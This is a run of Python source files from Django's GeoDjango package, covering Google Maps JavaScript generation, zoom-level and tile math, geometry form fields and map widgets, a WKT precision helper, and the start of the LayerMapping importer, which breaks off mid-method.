            gmap.dom_id = dom_id
            result.append(gmap.js)
            # Restoring the backup values.
            gmap.template, gmap.dom_id = tmp
        return mark_safe(''.join(result))

    def render(self):
        """
        Generates the JavaScript for the collection of Google Maps in
        this set.
        """
        params = {'js_module': self.js_module,
                  'dom_ids': self.dom_ids,
                  'load_map_js': self.load_map_js(),
                  'icons': self.icons,
                  }
        params.update(self.extra_context)
        return render_to_string(self.template, params)

    @property
    def onload(self):
        "Returns the `onload` HTML <body> attribute."
        # Overloaded to use the `load` function defined in the
        # `google-multi.js`, which calls the load routines for
        # each one of the individual maps in the set.
        return mark_safe('onload="%s.load()"' % self.js_module)

    @property
    def icons(self):
        "Returns a sequence of all icons in each map of the set."
        icons = set()
        for map in self.maps:
            icons |= map.icons
        return icons






from __future__ import unicode_literals

from math import atan, exp, log, pi, sin

from django.contrib.gis.geos import GEOSGeometry, LinearRing, Point, Polygon
from django.contrib.gis.maps.google.gmap import GoogleMapException
from django.utils.six.moves import range

# Constants used for degree to radian conversion, and vice-versa.
DTOR = pi / 180.
RTOD = 180. / pi


class GoogleZoom(object):
    """
    GoogleZoom is a utility for performing operations related to the zoom
    levels on Google Maps.

    This class is inspired by the OpenStreetMap Mapnik tile generation routine
    `generate_tiles.py`, and the article "How Big Is the World" (Hack #16) in
    "Google Maps Hacks" by Rich Gibson and Schuyler Erle.

    `generate_tiles.py` may be found at:
      http://trac.openstreetmap.org/browser/applications/rendering/mapnik/generate_tiles.py

    "Google Maps Hacks" may be found at http://safari.oreilly.com/0596101619
    """

    def __init__(self, num_zoom=19, tilesize=256):
        "Initializes the Google Zoom object."
        # Google's tilesize is 256x256, square tiles are assumed.
        self._tilesize = tilesize

        # The number of zoom levels
        self._nzoom = num_zoom

        # Initializing arrays to hold the parameters for each one of the
        # zoom levels.
        self._degpp = []  # Degrees per pixel
        self._radpp = []  # Radians per pixel
        self._npix = []  # 1/2 the number of pixels for a tile at the given zoom level

        # Incrementing through the zoom levels and populating the parameter arrays.
        z = tilesize  # The number of pixels per zoom level.
        for i in range(num_zoom):
            # Getting the degrees and radians per pixel, and the 1/2 the number of
            # for every zoom level.
            self._degpp.append(z / 360.)  # degrees per pixel
            self._radpp.append(z / (2 * pi))  # radians per pixel
            self._npix.append(z / 2)  # number of pixels to center of tile

            # Multiplying `z` by 2 for the next iteration.
            z *= 2

    def __len__(self):
        "Returns the number of zoom levels."
        return self._nzoom

    def get_lon_lat(self, lonlat):
        "Unpacks longitude, latitude from GEOS Points and 2-tuples."
        if isinstance(lonlat, Point):
            lon, lat = lonlat.coords
        else:
            lon, lat = lonlat
        return lon, lat

    def lonlat_to_pixel(self, lonlat, zoom):
        "Converts a longitude, latitude coordinate pair for the given zoom level."
        # Setting up, unpacking the longitude, latitude values and getting the
        # number of pixels for the given zoom level.
        lon, lat = self.get_lon_lat(lonlat)
        npix = self._npix[zoom]

        # Calculating the pixel x coordinate by multiplying the longitude value
        # with the number of degrees/pixel at the given zoom level.
        px_x = round(npix + (lon * self._degpp[zoom]))

        # Creating the factor, and ensuring that 1 or -1 is not passed in as the
        # base to the logarithm.  Here's why:
        #  if fac = -1, we'll get log(0) which is undefined;
        #  if fac =  1, our logarithm base will be divided by 0, also undefined.
        fac = min(max(sin(DTOR * lat), -0.9999), 0.9999)

        # Calculating the pixel y coordinate.
        px_y = round(npix + (0.5 * log((1 + fac) / (1 - fac)) * (-1.0 * self._radpp[zoom])))

        # Returning the pixel x, y to the caller of the function.
        return (px_x, px_y)

    def pixel_to_lonlat(self, px, zoom):
        "Converts a pixel to a longitude, latitude pair at the given zoom level."
        if len(px) != 2:
            raise TypeError('Pixel should be a sequence of two elements.')

        # Getting the number of pixels for the given zoom level.
        npix = self._npix[zoom]

        # Calculating the longitude value, using the degrees per pixel.
        lon = (px[0] - npix) / self._degpp[zoom]

        # Calculating the latitude value.
        lat = RTOD * (2 * atan(exp((px[1] - npix) / (-1.0 * self._radpp[zoom]))) - 0.5 * pi)

        # Returning the longitude, latitude coordinate pair.
        return (lon, lat)

    def tile(self, lonlat, zoom):
        """
        Returns a Polygon  corresponding to the region represented by a fictional
        Google Tile for the given longitude/latitude pair and zoom level. This
        tile is used to determine the size of a tile at the given point.
        """
        # The given lonlat is the center of the tile.
        delta = self._tilesize / 2

        # Getting the pixel coordinates corresponding to the
        # the longitude/latitude.
        px = self.lonlat_to_pixel(lonlat, zoom)

        # Getting the lower-left and upper-right lat/lon coordinates
        # for the bounding box of the tile.
        ll = self.pixel_to_lonlat((px[0] - delta, px[1] - delta), zoom)
        ur = self.pixel_to_lonlat((px[0] + delta, px[1] + delta), zoom)

        # Constructing the Polygon, representing the tile and returning.
        return Polygon(LinearRing(ll, (ll[0], ur[1]), ur, (ur[0], ll[1]), ll), srid=4326)

    def get_zoom(self, geom):
        "Returns the optimal Zoom level for the given geometry."
        # Checking the input type.
        if not isinstance(geom, GEOSGeometry) or geom.srid != 4326:
            raise TypeError('get_zoom() expects a GEOS Geometry with an SRID of 4326.')

        # Getting the envelope for the geometry, and its associated width, height
        # and centroid.
        env = geom.envelope
        env_w, env_h = self.get_width_height(env.extent)
        center = env.centroid

        for z in range(self._nzoom):
            # Getting the tile at the zoom level.
            tile_w, tile_h = self.get_width_height(self.tile(center, z).extent)

            # When we span more than one tile, this is an approximately good
            # zoom level.
            if (env_w > tile_w) or (env_h > tile_h):
                if z == 0:
                    raise GoogleMapException('Geometry width and height should not exceed that of the Earth.')
                return z - 1

        # Otherwise, we've zoomed in to the max.
        return self._nzoom - 1

    def get_width_height(self, extent):
        """
        Returns the width and height for the given extent.
        """
        # Getting the lower-left, upper-left, and upper-right
        # coordinates from the extent.
        ll = Point(extent[:2])
        ul = Point(extent[0], extent[3])
        ur = Point(extent[2:])
        # Calculating the width and height.
        height = ll.distance(ul)
        width = ul.distance(ur)
        return width, height






"""
  This module houses the GoogleMap object, used for generating
   the needed javascript to embed Google Maps in a Web page.

  Google(R) is a registered trademark of Google, Inc. of Mountain View, California.

  Example:

   * In the view:
      return render(request, 'template.html', {'google': GoogleMap(key="abcdefg")})

   * In the template:

     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
     {{ google.xhtml }}
     <head>
       <title>Google Maps via GeoDjango</title>
       {{ google.style }}
       {{ google.scripts }}
     </head>
     {{ google.body }}
     <div id="{{ google.dom_id }}" style="width:600px;height:400px;"></div>
     </body>
     </html>

     Note:  If you want to be more explicit in your templates, the following are
      equivalent:
      {{ google.body }} => "<body {{ google.onload }} {{ google.onunload }}>"
      {{ google.xhtml }} => "<html xmlns="http://www.w3.org/1999/xhtml" {{ google.xmlns }}>"
      {{ google.style }} => "<style>{{ google.vml_css }}</style>"

  Explanation:
   - The `xhtml` property provides the correct XML namespace needed for
     Google Maps to operate in IE using XHTML.  Google Maps on IE uses
     VML to draw polylines.  Returns, by default:
     <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml">

   - The `style` property provides the correct style tag for the CSS
     properties required by Google Maps on IE:
     <style type="text/css">v\:* {behavior:url(#default#VML);}</style>

   - The `scripts` property provides the necessary <script> tags for
     including the Google Maps javascript, as well as including the
     generated javascript.

   - The `body` property provides the correct attributes for the
     body tag to load the generated javascript.  By default, returns:
     <body onload="gmap_load()" onunload="GUnload()">

   - The `dom_id` property returns the DOM id for the map.  Defaults to "map".

  The following attributes may be set or customized in your local settings:
   * GOOGLE_MAPS_API_KEY: String of your Google Maps API key.  These are tied
      to a domain.  May be obtained from https://developers.google.com/maps/
   * GOOGLE_MAPS_API_VERSION (optional): Defaults to using "2.x"
   * GOOGLE_MAPS_URL (optional): Must have a substitution ('%s') for the API
      version.
"""
from django.contrib.gis.maps.google.gmap import GoogleMap, GoogleMapSet
from django.contrib.gis.maps.google.overlays import (
    GEvent, GIcon, GMarker, GPolygon, GPolyline,
)
from django.contrib.gis.maps.google.zoom import GoogleZoom

__all__ = [
    'GoogleMap', 'GoogleMapSet', 'GEvent', 'GIcon', 'GMarker', 'GPolygon',
    'GPolyline', 'GoogleZoom',
]






from __future__ import unicode_literals

from functools import total_ordering

from django.contrib.gis.geos import (
    LinearRing, LineString, Point, Polygon, fromstr,
)
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible
from django.utils.html import html_safe


@html_safe
@python_2_unicode_compatible
class GEvent(object):
    """
    A Python wrapper for the Google GEvent object.

    Events can be attached to any object derived from GOverlayBase with the
    add_event() call.

    For more information please see the Google Maps API Reference:
     https://developers.google.com/maps/documentation/javascript/reference#event

    Example:

      from django.shortcuts import render
      from django.contrib.gis.maps.google import GoogleMap, GEvent, GPolyline

      def sample_request(request):
          polyline = GPolyline('LINESTRING(101 26, 112 26, 102 31)')
          event = GEvent('click',
            'function() { location.href = "http://www.google.com"}')
          polyline.add_event(event)
          return render(request, 'mytemplate.html', {
              'google': GoogleMap(polylines=[polyline]),
          })
    """

    def __init__(self, event, action):
        """
        Initializes a GEvent object.

        Parameters:

        event:
          string for the event, such as 'click'. The event must be a valid
          event for the object in the Google Maps API.
          There is no validation of the event type within Django.

        action:
          string containing a Javascript function, such as
          'function() { location.href = "newurl";}'
          The string must be a valid Javascript function. Again there is no
          validation fo the function within Django.
        """
        self.event = event
        self.action = action

    def __str__(self):
        "Returns the parameter part of a GEvent."
        return '"%s", %s' % (self.event, self.action)


@html_safe
@python_2_unicode_compatible
class GOverlayBase(object):
    def __init__(self):
        self.events = []

    def latlng_from_coords(self, coords):
        "Generates a JavaScript array of GLatLng objects for the given coordinates."
        return '[%s]' % ','.join('new GLatLng(%s,%s)' % (y, x) for x, y in coords)

    def add_event(self, event):
        "Attaches a GEvent to the overlay object."
        self.events.append(event)

    def __str__(self):
        "The string representation is the JavaScript API call."
        return '%s(%s)' % (self.__class__.__name__, self.js_params)


class GPolygon(GOverlayBase):
    """
    A Python wrapper for the Google GPolygon object.  For more information
    please see the Google Maps API Reference:
     https://developers.google.com/maps/documentation/javascript/reference#Polygon
    """
    def __init__(self, poly,
                 stroke_color='#0000ff', stroke_weight=2, stroke_opacity=1,
                 fill_color='#0000ff', fill_opacity=0.4):
        """
        The GPolygon object initializes on a GEOS Polygon or a parameter that
        may be instantiated into GEOS Polygon.  Please note that this will not
        depict a Polygon's internal rings.

        Keyword Options:

          stroke_color:
            The color of the polygon outline. Defaults to '#0000ff' (blue).

          stroke_weight:
            The width of the polygon outline, in pixels.  Defaults to 2.

          stroke_opacity:
            The opacity of the polygon outline, between 0 and 1.  Defaults to 1.

          fill_color:
            The color of the polygon fill.  Defaults to '#0000ff' (blue).

          fill_opacity:
            The opacity of the polygon fill.  Defaults to 0.4.
        """
        if isinstance(poly, six.string_types):
            poly = fromstr(poly)
        if isinstance(poly, (tuple, list)):
            poly = Polygon(poly)
        if not isinstance(poly, Polygon):
            raise TypeError('GPolygon may only initialize on GEOS Polygons.')

        # Getting the envelope of the input polygon (used for automatically
        # determining the zoom level).
        self.envelope = poly.envelope

        # Translating the coordinates into a JavaScript array of
        # Google `GLatLng` objects.
        self.points = self.latlng_from_coords(poly.shell.coords)

        # Stroke settings.
        self.stroke_color, self.stroke_opacity, self.stroke_weight = stroke_color, stroke_opacity, stroke_weight

        # Fill settings.
        self.fill_color, self.fill_opacity = fill_color, fill_opacity

        super(GPolygon, self).__init__()

    @property
    def js_params(self):
        return '%s, "%s", %s, %s, "%s", %s' % (self.points, self.stroke_color, self.stroke_weight, self.stroke_opacity,
                                               self.fill_color, self.fill_opacity)


class GPolyline(GOverlayBase):
    """
    A Python wrapper for the Google GPolyline object.  For more information
    please see the Google Maps API Reference:
     https://developers.google.com/maps/documentation/javascript/reference#Polyline
    """
    def __init__(self, geom, color='#0000ff', weight=2, opacity=1):
        """
        The GPolyline object may be initialized on GEOS LineStirng, LinearRing,
        and Polygon objects (internal rings not supported) or a parameter that
        may instantiated into one of the above geometries.

        Keyword Options:

          color:
            The color to use for the polyline.  Defaults to '#0000ff' (blue).

          weight:
            The width of the polyline, in pixels.  Defaults to 2.

          opacity:
            The opacity of the polyline, between 0 and 1.  Defaults to 1.
        """
        # If a GEOS geometry isn't passed in, try to construct one.
        if isinstance(geom, six.string_types):
            geom = fromstr(geom)
        if isinstance(geom, (tuple, list)):
            geom = Polygon(geom)
        # Generating the lat/lng coordinate pairs.
        if isinstance(geom, (LineString, LinearRing)):
            self.latlngs = self.latlng_from_coords(geom.coords)
        elif isinstance(geom, Polygon):
            self.latlngs = self.latlng_from_coords(geom.shell.coords)
        else:
            raise TypeError('GPolyline may only initialize on GEOS LineString, LinearRing, and/or Polygon geometries.')

        # Getting the envelope for automatic zoom determination.
        self.envelope = geom.envelope
        self.color, self.weight, self.opacity = color, weight, opacity
        super(GPolyline, self).__init__()

    @property
    def js_params(self):
        return '%s, "%s", %s, %s' % (self.latlngs, self.color, self.weight, self.opacity)


@total_ordering
class GIcon(object):
    """
    Creates a GIcon object to pass into a Gmarker object.

    The keyword arguments map to instance attributes of the same name. These,
    in turn, correspond to a subset of the attributes of the official GIcon
    javascript object:

    https://developers.google.com/maps/documentation/javascript/reference#Icon

    Because a Google map often uses several different icons, a name field has
    been added to the required arguments.

    Required Arguments:
        varname:
            A string which will become the basis for the js variable name of
            the marker, for this reason, your code should assign a unique
            name for each GIcon you instantiate, otherwise there will be
            name space collisions in your javascript.

    Keyword Options:
        image:
            The url of the image to be used as the icon on the map defaults
            to 'G_DEFAULT_ICON'

        iconsize:
            a tuple representing the pixel size of the foreground (not the
            shadow) image of the icon, in the format: (width, height) ex.:

            GIcon('fast_food',
                  image="/media/icon/star.png",
                  iconsize=(15,10))

            Would indicate your custom icon was 15px wide and 10px height.

        shadow:
            the url of the image of the icon's shadow

        shadowsize:
            a tuple representing the pixel size of the shadow image, format is
            the same as ``iconsize``

        iconanchor:
            a tuple representing the pixel coordinate relative to the top left
            corner of the icon image at which this icon is anchored to the map.
            In (x, y) format.  x increases to the right in the Google Maps
            coordinate system and y increases downwards in the Google Maps
            coordinate system.)

        infowindowanchor:
            The pixel coordinate relative to the top left corner of the icon
            image at which the info window is anchored to this icon.
    """
    def __init__(self, varname, image=None, iconsize=None,
                 shadow=None, shadowsize=None, iconanchor=None,
                 infowindowanchor=None):
        self.varname = varname
        self.image = image
        self.iconsize = iconsize
        self.shadow = shadow
        self.shadowsize = shadowsize
        self.iconanchor = iconanchor
        self.infowindowanchor = infowindowanchor

    def __eq__(self, other):
        return self.varname == other.varname

    def __lt__(self, other):
        return self.varname < other.varname

    def __hash__(self):
        # XOR with hash of GIcon type so that hash('varname') won't
        # equal hash(GIcon('varname')).
        return hash(self.__class__) ^ hash(self.varname)


class GMarker(GOverlayBase):
    """
    A Python wrapper for the Google GMarker object.  For more information
    please see the Google Maps API Reference:
     https://developers.google.com/maps/documentation/javascript/reference#Marker

    Example:

      from django.shortcuts import render
      from django.contrib.gis.maps.google.overlays import GMarker, GEvent

      def sample_request(request):
          marker = GMarker('POINT(101 26)')
          event = GEvent('click',
                         'function() { location.href = "http://www.google.com"}')
          marker.add_event(event)
          return render(request, 'mytemplate.html', {
              'google': GoogleMap(markers=[marker]),
          })
    """
    def __init__(self, geom, title=None, draggable=False, icon=None):
        """
        The GMarker object may initialize on GEOS Points or a parameter
        that may be instantiated into a GEOS point.  Keyword options map to
        GMarkerOptions -- so far only the title option is supported.

        Keyword Options:
         title:
           Title option for GMarker, will be displayed as a tooltip.

         draggable:
           Draggable option for GMarker, disabled by default.
        """
        # If a GEOS geometry isn't passed in, try to construct one.
        if isinstance(geom, six.string_types):
            geom = fromstr(geom)
        if isinstance(geom, (tuple, list)):
            geom = Point(geom)
        if isinstance(geom, Point):
            self.latlng = self.latlng_from_coords(geom.coords)
        else:
            raise TypeError('GMarker may only initialize on GEOS Point geometry.')
        # Getting the envelope for automatic zoom determination.
        self.envelope = geom.envelope
        # TODO: Add support for more GMarkerOptions
        self.title = title
        self.draggable = draggable
        self.icon = icon
        super(GMarker, self).__init__()

    def latlng_from_coords(self, coords):
        return 'new GLatLng(%s,%s)' % (coords[1], coords[0])

    def options(self):
        result = []
        if self.title:
            result.append('title: "%s"' % self.title)
        if self.icon:
            result.append('icon: %s' % self.icon.varname)
        if self.draggable:
            result.append('draggable: true')
        return '{%s}' % ','.join(result)

    @property
    def js_params(self):
        return '%s, %s' % (self.latlng, self.options())






from django.forms import *  # NOQA

from .fields import (  # NOQA
    GeometryCollectionField, GeometryField, LineStringField,
    MultiLineStringField, MultiPointField, MultiPolygonField, PointField,
    PolygonField,
)
from .widgets import BaseGeometryWidget, OpenLayersWidget, OSMWidget  # NOQA






from __future__ import unicode_literals

from django import forms
from django.contrib.gis.geos import GEOSException, GEOSGeometry
from django.utils.translation import ugettext_lazy as _

from .widgets import OpenLayersWidget


class GeometryField(forms.Field):
    """
    This is the basic form field for a Geometry.  Any textual input that is
    accepted by GEOSGeometry is accepted by this form.  By default,
    this includes WKT, HEXEWKB, WKB (in a buffer), and GeoJSON.
    """
    widget = OpenLayersWidget
    geom_type = 'GEOMETRY'

    default_error_messages = {
        'required': _('No geometry value provided.'),
        'invalid_geom': _('Invalid geometry value.'),
        'invalid_geom_type': _('Invalid geometry type.'),
        'transform_error': _('An error occurred when transforming the geometry '
                             'to the SRID of the geometry form field.'),
    }

    def __init__(self, **kwargs):
        # Pop out attributes from the database field, or use sensible
        # defaults (e.g., allow None).
        self.srid = kwargs.pop('srid', None)
        self.geom_type = kwargs.pop('geom_type', self.geom_type)
        super(GeometryField, self).__init__(**kwargs)
        self.widget.attrs['geom_type'] = self.geom_type

    def to_python(self, value):
        """
        Transforms the value to a Geometry object.
        """
        if value in self.empty_values:
            return None

        if not isinstance(value, GEOSGeometry):
            try:
                value = GEOSGeometry(value)
            except (GEOSException, ValueError, TypeError):
                raise forms.ValidationError(self.error_messages['invalid_geom'], code='invalid_geom')

        # Try to set the srid
        if not value.srid:
            try:
                value.srid = self.widget.map_srid
            except AttributeError:
                if self.srid:
                    value.srid = self.srid
        return value

    def clean(self, value):
        """
        Validates that the input value can be converted to a Geometry
        object (which is returned).  A ValidationError is raised if
        the value cannot be instantiated as a Geometry.
        """
        geom = super(GeometryField, self).clean(value)
        if geom is None:
            return geom

        # Ensuring that the geometry is of the correct type (indicated
        # using the OGC string label).
        if str(geom.geom_type).upper() != self.geom_type and not self.geom_type == 'GEOMETRY':
            raise forms.ValidationError(self.error_messages['invalid_geom_type'], code='invalid_geom_type')

        # Transforming the geometry if the SRID was set.
        if self.srid and self.srid != -1 and self.srid != geom.srid:
            try:
                geom.transform(self.srid)
            except GEOSException:
                raise forms.ValidationError(
                    self.error_messages['transform_error'], code='transform_error')

        return geom

    def has_changed(self, initial, data):
        """ Compare geographic value of data with its initial value. """

        try:
            data = self.to_python(data)
            initial = self.to_python(initial)
        except forms.ValidationError:
            return True

        # Only do a geographic comparison if both values are available
        if initial and data:
            data.transform(initial.srid)
            # If the initial value was not added by the browser, the geometry
            # provided may be slightly different, the first time it is saved.
            # The comparison is done with a very low tolerance.
            return not initial.equals_exact(data, tolerance=0.000001)
        else:
            # Check for change of state of existence
            return bool(initial) != bool(data)


class GeometryCollectionField(GeometryField):
    geom_type = 'GEOMETRYCOLLECTION'


class PointField(GeometryField):
    geom_type = 'POINT'


class MultiPointField(GeometryField):
    geom_type = 'MULTIPOINT'


class LineStringField(GeometryField):
    geom_type = 'LINESTRING'


class MultiLineStringField(GeometryField):
    geom_type = 'MULTILINESTRING'


class PolygonField(GeometryField):
    geom_type = 'POLYGON'


class MultiPolygonField(GeometryField):
    geom_type = 'MULTIPOLYGON'






from __future__ import unicode_literals

import logging

from django.conf import settings
from django.contrib.gis import gdal
from django.contrib.gis.geos import GEOSException, GEOSGeometry
from django.forms.widgets import Widget
from django.template import loader
from django.utils import six, translation

logger = logging.getLogger('django.contrib.gis')


class BaseGeometryWidget(Widget):
    """
    The base class for rich geometry widgets.
    Renders a map using the WKT of the geometry.
    """
    geom_type = 'GEOMETRY'
    map_srid = 4326
    map_width = 600
    map_height = 400
    display_raw = False

    supports_3d = False
    template_name = ''  # set on subclasses

    def __init__(self, attrs=None):
        self.attrs = {}
        for key in ('geom_type', 'map_srid', 'map_width', 'map_height', 'display_raw'):
            self.attrs[key] = getattr(self, key)
        if attrs:
            self.attrs.update(attrs)

    def serialize(self, value):
        return value.wkt if value else ''

    def deserialize(self, value):
        try:
            return GEOSGeometry(value, self.map_srid)
        except (GEOSException, ValueError) as err:
            logger.error("Error creating geometry from value '%s' (%s)", value, err)
        return None

    def render(self, name, value, attrs=None):
        # If a string reaches here (via a validation error on another
        # field) then just reconstruct the Geometry.
        if value and isinstance(value, six.string_types):
            value = self.deserialize(value)

        if value:
            # Check that srid of value and map match
            if value.srid != self.map_srid:
                try:
                    ogr = value.ogr
                    ogr.transform(self.map_srid)
                    value = ogr
                except gdal.GDALException as err:
                    logger.error(
                        "Error transforming geometry from srid '%s' to srid '%s' (%s)",
                        value.srid, self.map_srid, err
                    )

        context = self.build_attrs(
            attrs,
            name=name,
            module='geodjango_%s' % name.replace('-', '_'),  # JS-safe
            serialized=self.serialize(value),
            geom_type=gdal.OGRGeomType(self.attrs['geom_type']),
            STATIC_URL=settings.STATIC_URL,
            LANGUAGE_BIDI=translation.get_language_bidi(),
        )
        return loader.render_to_string(self.template_name, context)


class OpenLayersWidget(BaseGeometryWidget):
    template_name = 'gis/openlayers.html'

    class Media:
        js = (
            'http://openlayers.org/api/2.13.1/OpenLayers.js',
            'gis/js/OLMapWidget.js',
        )


class OSMWidget(BaseGeometryWidget):
    """
    An OpenLayers/OpenStreetMap-based widget.
    """
    template_name = 'gis/openlayers-osm.html'
    default_lon = 5
    default_lat = 47
    map_srid = 3857

    class Media:
        js = (
            'http://openlayers.org/api/2.13.1/OpenLayers.js',
            'gis/js/OLMapWidget.js',
        )

    def __init__(self, attrs=None):
        super(OSMWidget, self).__init__()
        for key in ('default_lon', 'default_lat'):
            self.attrs[key] = getattr(self, key)
        if attrs:
            self.attrs.update(attrs)






"""
 Utilities for manipulating Geometry WKT.
"""
import warnings

from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning


def precision_wkt(geom, prec):
    """
    Returns WKT text of the geometry according to the given precision (an
    integer or a string).  If the precision is an integer, then the decimal
    places of coordinates WKT will be truncated to that number:

     >>> from django.contrib.gis.geos import Point
     >>> pnt = Point(5, 23)
     >>> pnt.wkt
     'POINT (5.0000000000000000 23.0000000000000000)'
     >>> precision_wkt(pnt, 1)
     'POINT (5.0 23.0)'

    If the precision is a string, it must be valid Python format string
    (e.g., '%20.7f') -- thus, you should know what you're doing.
    """
    warnings.warn(
        "precision_wkt() is deprecated in favor of the WKTWriter class.",
        RemovedInDjango20Warning, stacklevel=2
    )

    if isinstance(prec, int):
        num_fmt = '%%.%df' % prec
    elif isinstance(prec, six.string_types):
        num_fmt = prec
    else:
        raise TypeError

    # TODO: Support 3D geometries.
    coord_fmt = ' '.join([num_fmt, num_fmt])

    def formatted_coords(coords):
        return ','.join(coord_fmt % c[:2] for c in coords)

    def formatted_poly(poly):
        return ','.join('(%s)' % formatted_coords(r) for r in poly)

    def formatted_geom(g):
        gtype = str(g.geom_type).upper()
        yield '%s(' % gtype
        if gtype == 'POINT':
            yield formatted_coords((g.coords,))
        elif gtype in ('LINESTRING', 'LINEARRING'):
            yield formatted_coords(g.coords)
        elif gtype in ('POLYGON', 'MULTILINESTRING'):
            yield formatted_poly(g)
        elif gtype == 'MULTIPOINT':
            yield formatted_coords(g.coords)
        elif gtype == 'MULTIPOLYGON':
            yield ','.join('(%s)' % formatted_poly(p) for p in g)
        elif gtype == 'GEOMETRYCOLLECTION':
            yield ','.join(''.join(wkt for wkt in formatted_geom(child)) for child in g)
        else:
            raise TypeError
        yield ')'

    return ''.join(wkt for wkt in formatted_geom(geom))






# LayerMapping -- A Django Model/OGR Layer Mapping Utility
"""
 The LayerMapping class provides a way to map the contents of OGR
 vector files (e.g. SHP files) to Geographic-enabled Django models.

 For more information, please consult the GeoDjango documentation:
   https://docs.djangoproject.com/en/dev/ref/contrib/gis/layermapping/
"""
import sys
from decimal import Decimal, InvalidOperation as DecimalInvalidOperation

from django.contrib.gis.db.models import GeometryField
from django.contrib.gis.gdal import (
    CoordTransform, DataSource, GDALException, OGRGeometry, OGRGeomType,
    SpatialReference,
)
from django.contrib.gis.gdal.field import (
    OFTDate, OFTDateTime, OFTInteger, OFTInteger64, OFTReal, OFTString,
    OFTTime,
)
from django.core.exceptions import FieldDoesNotExist, ObjectDoesNotExist
from django.db import connections, models, router, transaction
from django.utils import six
from django.utils.encoding import force_text


# LayerMapping exceptions.
class LayerMapError(Exception):
    pass


class InvalidString(LayerMapError):
    pass


class InvalidDecimal(LayerMapError):
    pass


class InvalidInteger(LayerMapError):
    pass


class MissingForeignKey(LayerMapError):
    pass


class LayerMapping(object):
    "A class that maps OGR Layers to GeoDjango Models."

    # Acceptable 'base' types for a multi-geometry type.
    MULTI_TYPES = {1: OGRGeomType('MultiPoint'),
                   2: OGRGeomType('MultiLineString'),
                   3: OGRGeomType('MultiPolygon'),
                   OGRGeomType('Point25D').num: OGRGeomType('MultiPoint25D'),
                   OGRGeomType('LineString25D').num: OGRGeomType('MultiLineString25D'),
                   OGRGeomType('Polygon25D').num: OGRGeomType('MultiPolygon25D'),
                   }

    # Acceptable Django field types and corresponding acceptable OGR
    # counterparts.
    FIELD_TYPES = {
        models.AutoField: OFTInteger,
        models.BigAutoField: OFTInteger64,
        models.IntegerField: (OFTInteger, OFTReal, OFTString),
        models.FloatField: (OFTInteger, OFTReal),
        models.DateField: OFTDate,
        models.DateTimeField: OFTDateTime,
        models.EmailField: OFTString,
        models.TimeField: OFTTime,
        models.DecimalField: (OFTInteger, OFTReal),
        models.CharField: OFTString,
        models.SlugField: OFTString,
        models.TextField: OFTString,
        models.URLField: OFTString,
        models.BigIntegerField: (OFTInteger, OFTReal, OFTString),
        models.SmallIntegerField: (OFTInteger, OFTReal, OFTString),
        models.PositiveSmallIntegerField: (OFTInteger, OFTReal, OFTString),
    }

    def __init__(self, model, data, mapping, layer=0,
                 source_srs=None, encoding='utf-8',
                 transaction_mode='commit_on_success',
                 transform=True, unique=None, using=None):
        """
        A LayerMapping object is initialized using the given Model (not an instance),
        a DataSource (or string path to an OGR-supported data file), and a mapping
        dictionary.  See the module level docstring for more details and keyword
        argument usage.
        """
        # Getting the DataSource and the associated Layer.
        if isinstance(data, six.string_types):
            self.ds = DataSource(data, encoding=encoding)
        else:
            self.ds = data
        self.layer = self.ds[layer]

        self.using = using if using is not None else router.db_for_write(model)
        self.spatial_backend = connections[self.using].ops

        # Setting the mapping & model attributes.
        self.mapping = mapping
        self.model = model

        # Checking the layer -- initialization of the object will fail if
        # things don't check out before hand.
        self.check_layer()

        # Getting the geometry column associated with the model (an
        # exception will be raised if there is no geometry column).
        if connections[self.using].features.supports_transform:
            self.geo_field = self.geometry_field()
        else:
            transform = False

        # Checking the source spatial reference system, and getting
        # the coordinate transformation object (unless the `transform`
        # keyword is set to False)
        if transform:
            self.source_srs = self.check_srs(source_srs)
            self.transform = self.coord_transform()
        else:
            self.transform = transform

        # Setting the encoding for OFTString fields, if specified.
        if encoding:
            # Making sure the encoding exists, if not a LookupError
            # exception will be thrown.
            from codecs import lookup
            lookup(encoding)
            self.encoding = encoding
        else:
            self.encoding = None

        if unique:
            self.check_unique(unique)
            transaction_mode = 'autocommit'  # Has to be set to autocommit.
            self.unique = unique
        else:
            self.unique = None

        # Setting the transaction decorator with the function in the
        # transaction modes dictionary.
        self.transaction_mode = transaction_mode
        if transaction_mode == 'autocommit':
            self.transaction_decorator = None
        elif transaction_mode == 'commit_on_success':
            self.transaction_decorator = transaction.atomic
        else:
            raise LayerMapError('Unrecognized transaction mode: %s' % transaction_mode)

    # #### Checking routines used during initialization ####
    def check_fid_range(self, fid_range):
        "This checks the `fid_range` keyword."
        if fid_range:
            if isinstance(fid_range, (tuple, list)):
                return slice(*fid_range)
            elif isinstance(fid_range, slice):
                return fid_range
            else:
                raise TypeError
        else:
            return None

    def check_layer(self):
        """
        This checks the Layer metadata, and ensures that it is compatible
        with the mapping information and model.  Unlike previous revisions,
        there is no need to increment through each feature in the Layer.
        """
        # The geometry field of the model is set here.
        # TODO: Support more than one geometry field / model.  However, this
        # depends on the GDAL Driver in use.
        self.geom_field = False
        self.fields = {}

        # Getting lists of the field names and the field types available in
        # the OGR Layer.
        ogr_fields = self.layer.fields
        ogr_field_types = self.layer.field_types

        # Function for determining if the OGR mapping field is in the Layer.
        def check_ogr_fld(ogr_map_fld):
            try:
                idx = ogr_fields.index(ogr_map_fld)
            except ValueError:
                raise LayerMapError('Given mapping OGR field "%s" not found in OGR Layer.' % ogr_map_fld)
            return idx

        # No need to increment through each feature in the model, simply check
        # the Layer metadata against what was given in the mapping dictionary.
        for field_name, ogr_name in self.mapping.items():
            # Ensuring that a corresponding field exists in the model
            # for the given field name in the mapping.
            try:
                model_field = self.model._meta.get_field(field_name)
            except FieldDoesNotExist:
                raise LayerMapError('Given mapping field "%s" not in given Model fields.' % field_name)

            # Getting the string name for the Django field class (e.g., 'PointField').
            fld_name = model_field.__class__.__name__

            if isinstance(model_field, GeometryField):
                if self.geom_field:
                    raise LayerMapError('LayerMapping does not support more than one GeometryField per model.')

                # Getting the coordinate dimension of the geometry field.
                coord_dim = model_field.dim

                try:
                    if coord_dim == 3:
                        gtype = OGRGeomType(ogr_name + '25D')
                    else:
                        gtype = OGRGeomType(ogr_name)
                except GDALException:
                    raise LayerMapError('Invalid mapping for GeometryField "%s".' % field_name)

                # Making sure that the OGR Layer's Geometry is compatible.
